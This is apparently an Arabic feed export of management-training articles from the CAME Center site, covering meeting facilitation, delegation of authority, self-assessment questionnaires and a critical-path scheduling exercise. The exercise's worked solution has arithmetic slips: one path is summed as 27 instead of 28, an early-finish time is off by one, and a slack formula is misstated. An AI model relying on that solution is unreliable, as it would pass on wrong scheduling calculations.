  • المقارنة بين وجهات النظر المطروحة من الأعضاء بموضوعية .
  • دمج الأفكار واختبرها كقرار .
  • مراقبة إنتباه الحضور أثناء جلسات الإجتماع .
  • كن مساعدا للسلوك المؤيد والمساند .
  • عالج الصراع والنزاع بحكمة وروية .

8- مراحل (خطوات) إنجاز الأعمال أثناء الإجتماع

المرحلة الأولى :

              عرض الرأى من أحد أعضاء الإجتماع .

  ويشترط لكى يكون الرأى فعالا ما يلى :-

  • أن يكون واضحا وبلغة مفهومه .
  • أن يفى بالغرض المطلوب .
  • أن يكون خاليا من أي غموض .
  • أن يكون في صورة إقتراح .

 

المرحلة الثانية :

              النظر في الرأى المقدم ومناقشته .

    ويجب مراعاة ما يلي عند مناقشة الأراء المطروحة في الإجتماع :-

  • أن يعرف كل عضو أن له حق الإشتراك في المناقشة .
  • أن يتعرف كل عضو على جوهر المشكلة المعروضة للمناقشة قبل إبداء رأيه فيها أو التصويت عليها .
  • أن تنال كل مشكلة أو قضية معروضة في الإجتماع قدرا كافيا من المناقشة الحرة .
  • أن الأراء هي موضوع المناقشة وليس الأشخاص .

 

المرحلة الثالثة :

           البت في الرأى أو الموضوع المقدم بعد مناقشته .

  وهنا تظهر خبرة وحنكة رئيس الإجتماع في التعامل مع الأعضاء المشاركين : فمنهم كثير الكلام المولع بالمناقشة ،ومنهم الصامت ، ومنهم غير ذلك .  

 

9- إدارة المناقشة أثناء الإجتماع

1-  مزايا المناقشة الفعالة

      إن الحقيقة الهامة التي يجب التأكيد عليها هنا أن المناقشة الفعالة ترفع من كفاءة أداء الإجتماع مما تحققه من مزايا للمتناقشين على سبيل المثال :

  • أن عضو الإجتماع يجد في المناقشة النصيحة النافعة .
  • أن المناقشة تنشط تفكير عضو الإجتماع .
  • أن الإشتراك في المناقشة تساعد العضو على تبديد قلقه من خلال طرح الآخرين لمشاكلهم .
  • أن المناقشة تساعد في الحصول على المعلومات .
  • أن المناقشة تزيد من ثقة المتناقشين بأنفسهم عندما يسألهم الآخرين النصيحة ويستمعون لآرائهم .

2-  الوسائل التي يمكن أن يستخدمها الرئيس لإيجاد مناقشة فعالة .

  • التخلص من الشكليات المعيقة للمناقشة .
  • تجنب الوعظ أو التدريس أو التهذيب .
  • عدم دفع الأعضاء إلى الإشتراك في المناقشة قبل أن يشعروا بالرغبة في ذلك
  • الفهم الصحيح لكل ما يقصده العضو المتحدث قبل تحليل رأيه ومناقشته فيه .

 

3-أنواع الشخصيات البشرية وأنسب طرق التعامل معها :

3/1 النوع المشاغب :

       – إحتفظ بهدوئك معه ،ولا تدخل معه في جدال .

       – لا تجعل أي فرد آخر تتعامل معه يشتبك معه في جدال ، بمرور الزمن يتحسن موقف هذا النوع، وبالتالي يمكن التعامل معه بفعالية أكثر .

3/2 النوع الإيجابي :

      – المناقشة معه مثمرة وبالتالي يجب أن تمكنه من إبداء رأيه .

      – إحرص بإستمرار على الإستعانة به وإستخدامه لتحقيق الفعالية المنشودة .

3/3 النوع الدعي :                

      – يزعم العلم بكل شيئ ويدعى المعرفة .

      – لا تسمح له بالسيطرة على المناقشة .

      – لا تتركه يرهب أعضاء أي مجموعة عمل توجد بها .

      – إذا طلب إبداء رأيه فإطلب منه المبررات فإن كانت خاطئة فدع المجموعة تتعامل معه .

3/4 النوع الثرثار :

      – هذا النوع كثير الكلام بفائدة وبدون فائدة .

      – قاطعه بلباقة ودون أن تحرجه .

  • حدد له الوقت المسموح له بالحديث فيه .

3/5 النوع الخجول :

      – لا تحاول إستثارته بإستمرار .

      – وجه له أسئلة سهلة عندما تسمح الفرصة لتشجعه على المشاركة .

      – حاول أن تجعله يثق في نفسه في إبداء رأيه أمام الآخرين .

3/6 النوع غير المتعاون :

      – هو شخص معترض على آراء الآخرين وغير راضى .

      – تعرف على خبراته ومعارفه وحاول الإستفادة منها .

      – إعمل دائما على كسب صداقته ,أشعره بأنك في حاجة إليه .

3/7 النوع البليد السلبي :

      – وجه له الأسئلة بشكل مباشر .

      – إطلب منه النصيحة كلما سمحت الفرصة بذلك .

      – حاول دائما أن تجعله يشعر بأنك تقدر آرائه حتى تجتذبه إلى صفوف المشاركين والمناقشين .

3/8 النوع المتعالي :

      – لا تنتقضه وكن صبورا في التعامل معه .

      – حاول أن تجذب إنتباهه بإستمرار .

      – استفد من ملاحظاته ووضحها للمجموعة .

3/9 النوع المتصيد بأسئلته :

      – وهو شخص يحاول أن يوجه أسئلة معينة للقائد لإحراجه .

      – لا ترد على أسئلته وحولها إلى أفراد المجموعة لإبداء الرأي والرد عليها .

 

4- ما يجب على رئيس الإجتماع بعد إنتهاء الإجتماع

4/1 تقييم الإجتماع في ضوء الأهداف المخططة وجدول الأعمال المعد مسبقاً .

4/2 القيام بإعداد ملخص للموضوعات التي تم مناقشتها في الإجتماع وتوزيعه على الأعضاء ، وهذا الإجراء يحقق شيئين :

  • يؤكد أن ما إتفق عليه مفهوم من جانب الأعضاء .
  • تعريف النتائج التي تم انجازها تعريفاً واضحاً .

4/3 كتابة محضر أو تقرير عن الإجتماع .

4/4 الحصول على إلتزام من ذوى الشأن بالعمل .

          يفترض رئيس الإجتماع في كثير من الأحيان أنه طالما أن أيا من الأعضاء لم يعترض على ما حصل في الإجتماع ، إذا توجد موافقة . إلا أنه توجد عدة إشارات تحذيرية تشير إلى نقص في اللالتزام من جانب الحضور مثل :

  • الصمت الكلى وعدم التجاوب من جانب الأعضاء .
  • التجاوب السلبي مثل الأقوال التالية :
  • ” سأحاول ” لكن ذلك لا يكفي .
  • ” أظن أن الأمر هو كذلك لكنه لا يتوقف على وحدي ” .
  • ” نعم ولكن ….”

4/5 البدأ فوراً في تنفيذ ما إتفق عليه .

4/6 المتابعة بعد الإجتماع .

  • ضرورة إشراك المشاركين في الإجتماع في تحديد كيفية المتابعة .
  • مراقبة ومتابعة تنفيذ المهام الضرورية لإنجاز النتيجة الإجمالية وتلك المهام التي تعتمد عليها مهام أخرى .
  • المتابعة في الوقت الملائم لمنع حدوث صعوبات .
  • في حالة وقوع إنحرافات يجب تحديد وتعريف أسباب ذلك الخروج وما يمكن فعله لإعادة الأمور إلى مسارها ولمنع حدوث شيء مماثل في الإجتماعات القادمة .

10- الوصايا العشر لإجتماعات فعالة

  • أعد مكانا مناسبا لعقد الإجتماع .
  • أدع أقل عدد ممكن من الأفراد لحضور الإجتماع .
  • أعلن عن الهدف من الإجتماع .
  • أعد جدول أعمال الإجتماع .
  • ركز المناقشة على الموضوع المقرر .
  • أشرك جميع الحاضرين في المناقشة .
  • وجه المناقشة في الإتجاه الصحيح ولا تضيع الوقت .
  • إنه الإجتماع بملخص عما تم لإنجازه خلاله .
  • قيم إجتماعاتك من حين لآخر بغرض تحسينها . 
  • أعد ووزع قائمة بالقرارات التي تم اتخاذها وخطط العمل التي تم اعدادها في الإجتماع .

 

استقصاء

إدارة الاجتمـاعــات الفعالة

 الهدف من الإستقصاء :

  • تأكيد عدد من المفاهيم والأسس والقواعد المرتبطة بإدارة فعالية للاجتماعات .
  • قياس مهارات المشاركين في إدارة الاجتماعات .

 

عزيزي المشارك ….

  برجاء وضع علامة (  √ ) أمام الإجابة التي تتفق مع رأيك الشخصي في العبارات التالية : 

م العبارات موافق جداً موافق لا أحدد لا أوافق لا أوافق مطلقاً
1 الإجتماع أفضل وسيلة لتوصيل المعلومات .          
2 تتوقف فعالية الإجتماع على مدى قدرة المدير على انجاز الهدف بالسرعة المطلوبة بغض النظر عن الجدية اللازمة لسير الإجتماع .          
3 يجب ألا يحاول المدير فرض رأيه على الحاضرين في إجتماع خاص بحل مشكلة ما .          
4 تركز اجتماعات العصف الذهني على جودة الأفكار وليس على كثرتها وتنوعها .          
5 من الضروري في نهاية الاجتماع عرض الأهداف وملخصاَ لما أنجز منها وما يجب اتخاذه من أعمال .          
6 يتعين على المدير عقد اجتماع إذا أراد أن يحدث تداخلا وتفاعلا بين وجهات نظر الأعضاء المختلفة حول موضوع معين .          
7 أن تكرار عقد الاجتماعات يكسب المدير مهارات جديدة من خلال التعرف على الأساليب المتنوعة في المناقشة وإدارة الجلسات .          
8 يجب طرح الأسئلة على المجتمعين عامة دون توجيه السؤال لشخص معين .          
9 يجب أن يحرص المدير على الهيمنة على آراء المجتمعين في اجتماعات حل المشكلات .          
10 يعد اختتام الاجتماع على نفس درجة أهمية الإعداد له .          
11 الاجتماع أسلوب ضروري لعلاج جميع مشكلات الشركة .          
12 تتجاوز تكلفة الاجتماعات غير الفعالة مجموع مرتبات المجتمعين خلال عدد ساعات الاجتماع .          
13 يتحتم على المدير بدء الاجتماع في الموعد المحدد له بغض النظر عن عدم حضور بعض الأعضاء .          
14 تركز اجتماعات العصف الذهني على مناقشة الفكرة المطروحة قبل الانتقال إلى فكرة أخرى .          
15 يجب إرسال نسخ بملخص الاجتماع ونتائجه لشاغلي المناصب الإدارية الذين لم يشتركوا .          
16 أن توافر مهارات متميزة لدى المدير في إدارة الاجتماعات تقلل من أهمية الإعداد المسبق له .           
17 أن كثرة تحرك المدير وتردده في النطق يمثل عانقا لوصول المعلومات للأعضاء .          
18 إذا لم يتلق المدير إجابة على سؤال قد طرحه يجب أن يعيد طرح السؤال بنفس الطريقة .          
19 يجب أن يمتنع المدير عن تقديم أي أفكار أو حلول في اجتماعات حل المشكلات .          
20 يجب على المدير في نهاية الاجتماع أن يشعر الأعضاء بأهمية الجهد الذي بذلوه .          
21 الاجتماع أفضل طريقة لتطوير وتدريب الأفراد .          
22 تمثل الاتجاهات السلبية التي تميز سلوك بعض المجتمعين أكثر الجوانب تكلفة في الاجتماعات .          
23 يجب أن تكون بداية الاجتماع مثيرة للانتباه وموضحة لأهدافه .          
24 يعد اجتماع حل المشكلات أصعب أنواع الاجتماعات من ناحية الترتيب لعقدها .

 

          
25 يستطيع المدير أن يجزم دائما بدرجة فعالة الاجتماع .

 

          
26 يستطيع المدير أن يتجنب عقد اجتماع لتوصيل معلومات معينة عن طريق إرسال نشرات بالمعلومات المراد توصيلها للعاملين .          
27 تزداد درجة فعالية المدير بزيادة درجة التزامه بالجدول المحدد سلفاَ للاجتماع          
28 عادة ما يؤدى خوف الأعضاء من الإحراج أو عدم التشجيع إلى عدم مشاركتهم في المناقشة .          
29 يتقيد المدير بالقرارات التي يتوصل إليها غالبية الأعضاء في إجتماعات حل المشكلات .          
30 يتعين أن يقوم المدير مدى فعالية الاجتماع ، بعد انتهائه ،بنظرة ذاتية .          
31 يعد الاجتماع فعالا إذا ما حقق أهداف المدير في أقصر وقت .          
32 ترجع غالبية أسباب عدم فعالية الاجتماع إلى القائد نفسه .          
33 يعد استمرار الاجتماع داخل الإطار المحدد له أحسن وسيلة للسيطرة عليه           
34 لابد أن توضح أهداف وأغراض الاجتماع الخاص بحل المشكلات في بدايته .          
35 يستطيع الأعضاء أن يجزموا دائما بدرجة فعالية الاجتماع .          
36 تسهم الاجتماعات في تعديل سلوك الأفراد إيجابيا .          
37 تزداد درجة فعالية المدير بزيادة تحرره من استعمال المذكرات المكتوبة          
38 يؤدى تحمس المدير إلى إنتشار روح الحماس بين الأعضاء .          
39 يهتم المدير أساسا في اجتماعات حل المشكلات بتحديد موعد بدء الاجتماع مع ترك موعد الانتهاء منه مفتوحاَ .          
40 يعد إرجاع الأثر المأخوذ من الأعضاء أحد الأساليب الهامة التي تسهم في تطوير نتائج الإجتماع .          
41 ينبغي على المدير وضع جدول زمنى محدد للاجتماع باعتبار ذلك أهم العناصر الضرورية لنجاحه .          
42 تزداد أهمية استخدام المعينات البصرية في العرض إذا كانت مهارات المدير في إدارة الاجتماعات محدودة .          
43 يجب أن يسيطر المدير على إنفعالاته طوال فترة الاجتماع .          
44 يمكن أن يشكل العصف الذهني جزء هاما في اجتماعات حل المشكلات .          
45 كلما زاد عدد الاجتماعات التي يعقدها الشخص ، كلما زادت درجة فاعليتها .          
46 تتوقف فعالية الاجتماع على تحقيق أهداف المدير في أقصر وقت ،مع تحقيق أعلى درجة رضاء لدى المجتمعين .          
47 تتطابق آراء الأعضاء والمدير حول النتائج المحققة من وراء عقد الاجتماع .          
48 أن التنوع في أسلوب المدير في العرض والمناقشة يحافظ على درجة حماس الأعضاء ويقظتهم .          
49 يركز اجتماع حل المشكلات على إيجاد الحلول للمشاكل مع عدم الاهتمام بمناقشة طرق تنفيذها .          
50   من المفضل أن يسأل المدير الأعضاء أسئلة عامة عند تقييمه للاجتماع .          

 

 *   *   *

انتهت بحمد الله المقالة السادسة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-06/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة https://cameknowledge.camecenter.com/articles/time_management-05/ https://cameknowledge.camecenter.com/articles/time_management-05/#respond Sat, 01 Apr 2023 13:33:43 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10314 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الخامسة وهناك بعض المبادئ التي تساعد في عملية التفويض وهي : –         حدد قائمة بالأنشطة التي يجب أن يتم تفويضها . –          أختر الأفراد الذين لديهم الاستعداد والرغبة والقدرة على تحمل المسئولية . –          اشرح الأسباب التي دعتك إلى التفويض . –          فوض […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الخامسة

وهناك بعض المبادئ التي تساعد في عملية التفويض وهي :

–         حدد قائمة بالأنشطة التي يجب أن يتم تفويضها .

–          أختر الأفراد الذين لديهم الاستعداد والرغبة والقدرة على تحمل المسئولية .

–          اشرح الأسباب التي دعتك إلى التفويض .

–          فوض السلطة ولا تفوض المسئولية فهي لا تفوض .

–          دع الأفراد الذين فوضت لهم سلطات يحددوا أولوياتهم بأنفسهم

–          وحدد أنت لهم آخر وقت لأداء النشاط .

–          تابع مرؤوسيك .

–          حاول أن توفر لهم الوقت إذا طلبوا مساعدتك وتوضح لهم إذا حاولوا الاستفسار .

–          أطلب العمل الذي إنتهى .ولا تقبل منهم أعذارا ولكن أقبل منهم حلولا أو أقتراحات للمشكلات .

–          حاول دائما أن تكافئ مرؤسيك على العمل الجيد بأي طريقة من طرق التحفيز .

–          لا تنس أن الإنسان الذكي يتعلم دائما من أخطائه .

–          إن كنت ذاهبا إلى إجتماع فيجب أن تفوض بعض سلطاتك لنائبك فقد يحدث ما يتطلب إتخاذ قرار .  

 

رد فعل المرؤوسين تجاه تفويض السلطة :

     يرحب غالبية المرؤوسين بالتفويض ،الذي يمثل بالنسبة لهم عاملا يزيد من درجة رضائهم عن العمل ، إلا أن هذا الترحيب لا يكون من كل المرؤوسين ، فهناك فئة منهم لا يسعدون بالتفويض ، حيث يكون من الأفضل بالنسبة لهم أن يتلقوا الأوامر والتعليمات ولا يصدرون القرارات بأنفسهم ، فهناك المرؤوس الذي تنعدم أو تقل ثقته بنفسه ، وهناك من يخشى الفشل ، كما أن بعض المرؤوسين تنعدم لديهم الرغبة في الإنجاز ، ولا يميلون إلى الطموح والتقدم ، وكل هؤلاء لا يشعرون بالارتياح تجاه تفويضهم السلطة ، ومن ناحية أخرى قد يقاوم أو يعارض المرؤوس هذا التفويض ويرفضه ، إذا أدى إلى زيادة مسؤلياته وسلطاته ، وكان حجم العمل الذي يمارسه كبيرا ،أو ليس لديه المعلومات الكاملة أو المعرفة أو الوقت الكافي أو الإمكانيات اللازمة لإنجاز هذه المهام والمسئوليات الجديدة بكفاية وفعالية .   

من أجل تحقيق تفويض فعال :

     *أن تكون لديك الثقة في المرؤسين والقناعة بقدرتهم على إنجاز ما يوكل 

       إليهم من أعمال عن طريق التفويض .

     *ولا تحاول أن تؤكد أنك تستطيع تأدية العمل بطريقة أحسن من مرؤسيك

        مما يجعل هذا الشعور ذريعة لعدم التفويض .

     *توقع من مرؤسيك ارتكاب الأخطاء فكلنا يتعلم من أخطائه .

     * أن تكون لديك المعرفة التامة بأعضاء الفريق ومهاراتهم وقدراتهم على 

       القيام بالمهام التي تفوض إليهم .

    * عليك أن تقوم بتزويد المرؤس المفوض إليه بجميع المعلومات التي تتعلق    

        بالموضوع المحال إليه .

    * تأكد من فهم المرؤس للمهام والمسئوليات الجديدة .

    * تجنب التدخل المباشر وأعمل على احترام حرية عمل المفوض إليه .

    * اتفق مع مرؤ سك على الأولويات وعلى موعد محدد لإتمام العمل .                           

    * فوض السلطات اللازمة لإنهاء المهمة وحددها بدقة .    

    * حدد المهمة التي تريد تفويضها بدقة .  

    * تابع وراقب أداء المرؤس وتقدم العمل .

    * قدم المساعدة والتأييد للمرؤوس .

    * لا تشجع اعتماد المرؤوس الكلي عليك .

 

مبادئ استرشادية لتحسين عملية التفويض :

  • قم باختيار الفرد المناسب ..الذي تتوفر فيه القدرة والرغبة ،وأمنحه السلطة الكافية للقيام بالعمل المراد تفويضه .
  • فوض الأعمال الجيدة والأعمال غير الجيدة …فإذا قمت بتفويض الأعمال السيئة فقط فإنك تقضى على الدافعية لدى المرؤوسين ،وتقتل روح الابتكار والتطوير ،وبذلك تساهم في إثبات فشلهم وعدم مقدرتهم وليس تنميتهم وتدريبهم .
  • خذ الوقت الكافي لإعداد وتدريب مرؤسيك على إنجاز الأعمال وتحمل المسئولية .
  • قم بالتفويض تدريجيا من حيث حجم الأعمال ،أو عدد المرؤوسين .
  • اتخذ قرار التفويض مقدما ولا تنتظر لحين حدوث مشكلة فتلجأ إلى التفويض .
  • قم بتفويض السلطة للقيام بعمل ما ككل حتى يتمكن المرؤس من السيطرة على هذا العمل وتصور المهمة ككل .
  • فوض من أجل الحصول على نتائج محددة تتوقعها واشرحها للمرؤوس .
  • تجنب أي ازدواج أو تدخل في الاختصاصات .
  • تشاور قبل التفويض مع مرؤوسيك .
  • اترك بقدر الإمكان المرؤوس وحده .

  

استقصاء

مهارات التفويض الفعال

     يهدف هذا الاستقصاء إلى التعرف على آرائك بشأن عدد من المبادئ والمفاهيم الأساسية للتفويض .

     وفيما يلي مجموعة من العبارات التي تتعلق بفلسفتك تجاه عملية تفويض السلطة التي تمارسها من خلال منصبك الإداري الحالي …ضع علامة (   √  ) أمام الخانة التي تعبر عن وجهة نظرك بالنسبة لكل عبارة من عبارات الاستقصاء . 

م            العبارات دائما أحيانا أبدأ
1 أولا : طبيعة المهمة المفوضة :

من المفضل أن يعطى المرؤس المهمة التي يطلب تفويضها إليه .

      
2 العبر ليست بطبيعة المهمة المفوضة أو لمن سيتم تفويضها فالمسئولية النهائية تبقى على القائم بالتفويض .      
3 من أفضل الطرق لتجنب المشكلات ذات الحساسية في العمل هو تفويضها لأحد المرؤوسين .       
4 من الضروري إعادة النظر باستمرار في حجم ونوع المهام التي يمكن تفويضها للمرؤوسين      
5 يجب أن يكون حجم العمل الموكل للمفوض إليه محدداَ وواضحاَ .      

 

 ثانيا : خصائص المفوض إليهم :

م     العبارات دائما أحيانا أبدأ
6 من الضروري تدعيم ومساندة المفوض إليهم .      
7 أن الاستعداد النفسي والعملي للمرؤوسين أحد المعايير الهامة التي يجدر اتباعها عند التمييز بين المرؤوسين في عملية التفويض .      
8 غالبية المرؤوسين لديهم الصلاحية المناسبة والاستعداد الأولى لتولى المهام المفوضة إليهم .      
9 أن التفويض للموظفين الملتحقين بالعمل حديثا أمر ضروري وحتمي .      
10 أن المرؤوس الذي يفشل في أداء المهمة المفوضة إليه لا يستحق      

    ثالثا الإعداد للتفويض :

م           العبارات دائما أحيانا أبدأ
11 من الأفضل منح المرؤس الحرية الكاملة لتنفيذ المهمة المفوضة إليه .      
12 لتشجيع الدافع للابتكار يجب حث المرؤسين على تحقيق النتائج التي يمكن تحقيقها من وراء تنفيذ المهام المفوضة إليهم .      
13 من المعايير الأساسية في اختيار واعداد المفوض إليهم مدى إدراكهم وفهمهم للأجزاء الصعبة في المهمة المفوضة .       
14 من المفيد إخبار المرؤس بكافة تجارب النجاح والفشل لأقرائه الذين سبق وأن تم تفويض نفس المهمة لهم من قبل .       
15 يجب أن يكون واضحاَ تماما للمرؤوسين الحد الأقصى للتحرك ومدى الاتصالات التي تتم بشأن تنفيذ المهمة المفوضة إليهم .       

 

   رابعا : مساندة المفوض إليهم :

م        العبارات دائما أحيانا أبدأ
16 إن المرؤس الكفء والقادر يستطيع أداء المهمة المفوضة إليه دون إشراف مباشر من رئيسية .      
17 في المهام ذات الأهمية أو الحساسية العالية يجب إعطاء رئيس القائم بالتفويض تقارير مستمرة عن أداء المفوض إليهم .      
18 عند منح سلطات معينة للمفوض إليه يجب إبلاغ الزملاء بذلك مقدما وقبل قيامه بممارستها .      
19 من مسؤلية المفوض التأكد من توفر كافة المعلومات اللازمة للمفوض إليه حتى يتمكن من أداء المهمة المفوضة إليه أو على الأقل يخبره بكيفية الحصول عليها .      
20 من الضروري عدم تنبيه أو تحذير المرؤس من وجود بعض المعوقات أو المشاكل التي قد تعترض طريقة تنفيذه للمهمة .      

 

  خامسا  : رقابة ومتابعة المهام المفوضة :

م              العبارات دائما أحيانا أبدأ
21 إن إتباع الرقابة العامة هي أفضل وسيلة لرقابة المفوض إليهم .      
22 إن الرقابة المتزايدة أفضل بالتأكيد من الرقابة المحدودة .      
23 من الضروري أن يصبح المفوض على دراية كاملة بكل ما يدور بشأن تنفيذ المهمة المفوضة وفي مختلف مراحلها .      
24 أن الضمانة الأساسية لتجنب فشل المفوض إليه في أداء المهمة المفوضة إليه هو تدخل المفوض وقيامه بأداء المهمة حيثما يشعر بأهمية ذلك .      
25 يجب أن يشعر المفوض إليه أن رئيسه سيقدم إليه يد المساعدة عندما يحتاج إليها وسيقف بجانبه في المواقف الحرجة من تنفيذ المهمة الموكلة إليه .      

 

سادساَ :التقييم والمكافأة :

م         العبارات دائما أحياناَ أبدأ
26 ضرورة الإعلان عن مكافأة أو عقاب المفوض لهم وذلك وفقا لإنجازهم .       
27 المرؤس هو المسئول عن أدائه سلبا وإيجاباَ ،وتتسم مساءلته وفقا لنتائج عمله .      
28 يمكن التغاضي عن الفشل الذي يصيب المفوض إليه في أدائه المهمة المفوضة إليه .       
29 أن الاعتراف بإنجازات المفوض إليهم عند الانتهاء من أداء المهمة يعد أسلوبا ناجحا لتشجيعهم على أداء أفضل في المستقبل .      
30 من المهم أن يراجع المفوض ممارساته وأسلوب عمله باستمرار بما يتناسب مع الظروف المتغيرة التي طرأت على حجم مسؤولياته ،وهيكل الجماعة التي يرأسها .      

 

إستقصاء

تقييم قدراتك كمفوض

فيما يلي مجموعة من التساؤلات التي يمكن من خلال الإجابة عليها التعرف على قدراتك كمفوض :

  • ماهي أهم المسئوليات التي سوف تتركها خلفك لو إضطررت للتغيب فجأة عن مكان عملك ؟ .
م المسئوليات
   
   
   
   
   
   
   

 

  • حدد المرؤوسين المؤهلين للقيام بكل عمل من تلك الأعمال أو المسئوليات ؟ .( إذا لم يكن هناك شخص مؤهل لمسئولية معينة إترك فراغاً)
م المسئوليات الأفراد المؤهلين للقيام بها
     
     
     
     
     
     
  • ماهي أهم الواجبات التي يمكن تفويضها ولم تفوضها حتى الآن ؟ .
م الواجبات
   
   
   
   
   

 

4- ما هي دلالة الفراغات التي توجد في إجابة السؤال رقم (2) :

 (   ) تعبر عن النقص في عدد المرؤوسين .

 (   ) تعبر عن النقص في خبرات المرؤوسين .

 (   ) تعبر عن الخوف من أن تصبح شخصاً يمكن الإستغناء عنه .

 

5- ماهي الأسباب الحقيقية وراء عدم تفويضك الواجبات التي ذكرتها في إجابة السؤال رقم ( 3 )

 

الواجبات الأسباب
   
   
   
   
   
   
   
   
   

 

 *   *   *

انتهت بحمد الله المقالة الخامسة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-05/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة https://cameknowledge.camecenter.com/articles/time_management-04/ https://cameknowledge.camecenter.com/articles/time_management-04/#respond Sat, 01 Apr 2023 13:24:19 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10312 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الرابعة تمرين: بفرض إنه توفرت لديك البيانات التالية:       النشاط الوقت المتوقع 1-2 6 2-3 5 2-4 3 2-5 3 3-7 4 4-8 2 5-6 2 5-9 5 6-8 2 7-10 8 8-10 8 9-10 9 10-11 2 11-12 3   المطلوب: رسم […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الرابعة

تمرين:

بفرض إنه توفرت لديك البيانات التالية:

      النشاط الوقت المتوقع
1-2 6
2-3 5
2-4 3
2-5 3
3-7 4
4-8 2
5-6 2
5-9 5
6-8 2
7-10 8
8-10 8
9-10 9
10-11 2
11-12 3

 

المطلوب:

  • رسم شبكة الأعمال ؟.
  • تحديد المسار الحرج ؟.
  • حساب وقت البداية والنهاية المبكر لكل نشاط ؟.
  • تحديد وقت البداية والنهاية المتأخر لكل نشاط ؟.
  • تحديد الوقت الراكد الكلى لكل نشاط ؟.
  • تحديد الوقت الراكد الحر الأساسي لكل نشاط ؟
  • تحديد الوقت الراكد الحر لكل نشاط .

الحـــــــــل

1- الرسم

2-تحديد المسار الحرج :     وهو أطول مسار على شبكة الأعمال .

 

لتحديد المسار الحرج يتم ما يلي :

  • تحديد المسارات المختلفة الموجودة على الشبكة (كل مسار يتكون من مجموعة أنشطة متتابعة بشكل منطقي ) .
  • حساب طول كل مسار وهو يساوي مجموع أطوال الأنشطة التي يتكون منها .
  • تحديد المسار الحرج وهو أكثر المسارات طولا .

 

 

ملحوظة :

=====

إن أي تأخير في تنفيذ المسار الحرج يؤدى إلى تأخير تنفيذ المشروع ككل .

المسار الأول =(1-2،2-3،3-7،7-10،10-11،11-12)

             = 6+5+4+8+2+3= 28يوم .

المسار الثاني = 6+3+2+8+2+3= 24يوم .

المسار الثالث = 6+3+2+2+8+2+3= 26يوم .

المسار الرابع = 6+3+5+8+2+3 = 27 يوم .

إذا المسار الأول هو المسار الحرج لأنه أطول المسارات .

 

3- حساب وقت البداية والنهاية المبكر والمتأخر والوقت الفائض لكل نشاط .

النشاط الوقت المبكر الوقت المتأخر الوقت الراكد
بداية نهاية بداية نهاية
1-2 صفر 6 صفر 6 صفر
2-3 6 11 6 11 صفر
2-4 6 9 10 13 4
2-5 6 9 7 10 1
3-7 11 15 11 15 صفر
4-8 9 11 13 15 4
7-10 15 23 15 23 صفر
8-10 11 19 15 23 4
9-10 14 22 15 23 1
10-11 23 25 23 25 صفر
11-12 25 28 25 28 صفر

الوقت الراكد الكلي : هو الوقت الذي يمكن أن نؤخر به أي نشاط دون أن يتم تأخير تنفيذ المشروع ككل .

       = الوقت المتأخر للبداية  –  الوقت المبكر للبداية .

       = الوقت المتأخر للنهاية  –  الوقت المتأخر للبداية .

الوقت الراكد الحر الأساسي : هو ذلك الوقت الذي يمكن أن نؤخر به وقت البداية لنشاط معين

     = الوقت المتأخر للنهاية – ( الوقت المتأخر للبداية + وقت النشاط ) .

الوقت الراكد الحر : هو ذلك الوقت الذي يمكن أن نؤخر به وقت إنتهاء نشاط معين .

    = الوقت المبكر لنهاية النشاط  –  (الوقت المبكر للبداية + وقت المرحلة)

 

أولاً : مفهوم تفويض السلطة وأهم المزايا .

1- مفهوم عملية تفويض السلطة .

          يقصد بتفويض السلطة : ” منح سلطة من رئيس أعلى إلى مرؤوس في مستوى تنظيم أقل مع تحمل الرئيس مسئولية ما فوض ” .

والأمر الذي لا شك فيه هو أن انشغال الكثير من المديرين في التفاصيل و الأعمال الروتينية يمكن إرجاعه بشكل رئيسي إلى عدم وجود نظام فعال للتفويض يبعدهم عن الانغماس في تلك التفاصيل و يتيح لهم فرصه التفرغ لمعالجه الأمور التي لا يكون بمقدور مرءوسيهم معالجتها .

إن التفويض ليس فقط مسئولية من مسئوليات المدير وإنما يمكن إعتباره طريقة مهمة تساعده في توفير الوقت لكي يستخدمه في القيام بمهام أكثر أهمية .

